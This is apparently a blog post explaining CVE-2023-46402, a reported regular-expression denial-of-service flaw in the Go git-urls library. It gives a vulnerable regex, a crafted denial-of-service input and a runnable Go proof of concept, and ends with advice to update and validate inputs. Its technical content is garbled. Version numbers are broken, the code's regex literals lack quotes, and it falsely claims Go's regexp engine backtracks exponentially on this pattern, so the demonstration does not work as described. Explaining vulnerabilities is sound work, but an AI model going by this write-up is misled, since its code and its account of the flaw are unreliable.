Did you know that just a clever URL input could take down some development tools? The recent CVE-2023-46402 proves it. The git-urls library (version 1..) is used in Go projects to parse Git repository URLs. However, a flaw in how it uses regular expressions means an attacker can *freeze applications or web servers* by simply submitting a tricky-looking string. Let’s break down what happened, why it matters, and how this ReDOS (Regular Expression Denial of Service) works in detail.

What is ReDOS?

Regular Expression Denial of Service (ReDOS) is a type of attack where malicious input is crafted to trigger catastrophic backtracking in a regular expression parser. This can make the underlying process hang or become extremely slow, thus denying service.

Affected Library: git-urls v1..

(repo link)

How git-urls Handles URLs

The main job of git-urls is to parse and understand various Git remote URLs, like SSH, HTTP(S), and scp-like syntaxes. It uses regular expressions to distinguish and extract components from those URLs. The problem here is that a particular regex used in the parsing logic can be tricked into heavy backtracking.

Vulnerable Code Snippet

Let’s look at the vulnerable function from urls.go:

// Example regex used for parsing
var scpSyntaxRe = regexp.MustCompile(
    ^([^@]+)@([^:]+):(.+)$,
)

// Usage in parsing function
func parse(url string) (*Repo, error) {
    if scpSyntaxRe.MatchString(url) {
        // do something...
    }
    // other parsing...
}

Here, the scpSyntaxRe regex attempts to parse strings like user@host:path. But what happens if the input is crafted to keep matching longer and longer prefixes, causing the regex engine to try all possibilities?

An attacker can send a specially designed string—in this case, a super-long sequence like

aaaaaaaaaaaaaaaaa!...@bbbbbbbbbbbbbb!...:cccccccccccccc...

But the “magic” for this kind of attack (ReDOS) is to create repetition and ambiguity in the regular expression, which forces the regex engine to backtrack a lot, even for a single input.

For example

input := strings.Repeat("a@", 30) + strings.Repeat("b:", 30) + "end"
result, err := parse(input)

*When this input is sent to any function using scpSyntaxRe.MatchString, the regex engine spends exponentially growing time evaluating possibilities, spiking CPU usage and potentially freezing the program*.

Here’s a real Go snippet you can run to test the DoS

package main

import (
    "regexp"
    "strings"
    "time"
    "fmt"
)

func main() {
    // This is similar to git-urls 1..
    scpSyntaxRe := regexp.MustCompile(^([^@]+)@([^:]+):(.+)$)
    
    // Malicious input designed for ReDOS
    evilInput := strings.Repeat("a@", 30) + strings.Repeat("b:", 30) + "end"
    
    start := time.Now()
    matched := scpSyntaxRe.MatchString(evilInput)
    elapsed := time.Since(start)
    
    fmt.Printf("Matched: %v\nTime elapsed: %s\n", matched, elapsed)
}

Expected output:
You’ll see that the time elapsed grows _very_ quickly as you increase the repetitions!

Why Does This Happen?

The regex ^([^@]+)@([^:]+):(.+)$ tries to match as many non-@ characters as possible, followed by an @, then non-: characters, and so on. When you give it lots of repeated a@ and b: patterns, the engine considers enormous combinations to try and match the groups, causing severe backtracking.

Web GUIs for Git parsing incoming repo URLs can be locked up.

- CI/CD servers integrating with lots of user-supplied Git URLs could be frozen.

If you use git-urls <1..1, update immediately!

- git-urls repo & updates
- CVE Report at nvd.nist.gov
- More on ReDOS

Don’t trust all inputs—even something as simple as a Git repository URL!

- Defensive programming: Always constrain and validate large, complex user inputs _before_ passing them to regex engines.

Keep your dependencies up to date, especially libraries handling user-facing data.

> Awareness of regex complexity can save your servers from unintentional downtime—or a targeted attack.


Do you have more questions about CVE-2023-46402 or want help auditing your Go code for this class of vulnerabilities? Drop a comment or reach out!

Timeline

Published on: 11/18/2023 00:15:07 UTC
Last modified on: 11/28/2023 18:15:08 UTC